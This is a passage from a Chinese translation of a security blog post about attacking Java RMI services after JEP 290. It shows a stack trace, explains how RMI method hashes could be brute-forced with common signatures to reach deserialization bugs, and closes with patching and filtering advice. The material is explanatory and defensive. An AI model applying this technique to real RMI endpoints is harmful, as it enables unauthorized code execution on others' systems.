at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:359)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:844)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
at java.rmi.server.RemoteobjectInvocationHandler.invokeRemoteMethod(RemoteobjectInvocationHandler.java:227)
at java.rmi.server.RemoteobjectInvocationHandler.invoke(RemoteobjectInvocationHandler.java:179)
at com.sun.proxy.$Proxy0.register(Unknown Source)
at de.mogwailabs.BSidesRMIService.BSidesClient.main(BSidesClient.java:20)
暴力破解RMI方法的注意事项
上面介绍的攻击方法有一个缺点:只有在攻击者可以访问由RMI服务实现的接口时,这种方法才能有效。之所以出现这种情况,是实际调用RMI方法的方式所致: RMI客户端/服务器会根据从方法签名派生的字符串来生成基于SHA1的哈希值。这里的参数名称无关紧要,只有方法名称和参数类型才是我们真正关心的。
这是一个例子:
Adam Bolton曾经在一篇文章中描述了如何暴力破解所有RMI接口,很明显这是不现实的。但是当涉及到利用Java反序列化漏洞时,攻击者只需要找到一个接受对象作为参数的方法的哈希值即可。攻击者可以使用常用方法名称/参数列表来进行暴力攻击,例如:
login(String username, String password)
logMessage(int logLevel, String message)
log(int logLevel, String message)
对于只使用本地Java对象/异常的普通方法来说,暴力攻击应该能够奏效。但是,我没有这方面的实际经验,有兴趣的读者自行研究。
小结
之前,只要目标的类路径中存在可用的gadget,许多“快餐式”的漏洞利用代码就能拿下RMI端点,然而,自从JEP 290中引入相应的内置过滤器之后,这些漏洞利用代码就风光不再了。不过,原来的漏洞利用代码有时候仍然能够攻击当前的某些目标,因为许多Java应用程序是与特定Java版本捆绑在一起的,或者某些系统的Java版本还没有更新为包含JEP 290的版本。
如果RMI服务在较新版本的JDK上运行,攻击者仍然可以在应用程序级别上利用Java反序列化漏洞。不过,这要求攻击者能够访问由RMI服务实现的接口,例如从目标主机上的Web服务器下载客户端。
如果您在使用基于RMI的应用程序的话,务必更新到最新的Java版本。如上所述,JEP 290甚至已经向后移植到较旧且不再受支持的Java7版本。虽然内置过滤器提供了初步的保护措施,但您自己必须定义相应的进程级过滤器,尤其是在接口定义可用的时候。
原文地址:https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
最新评论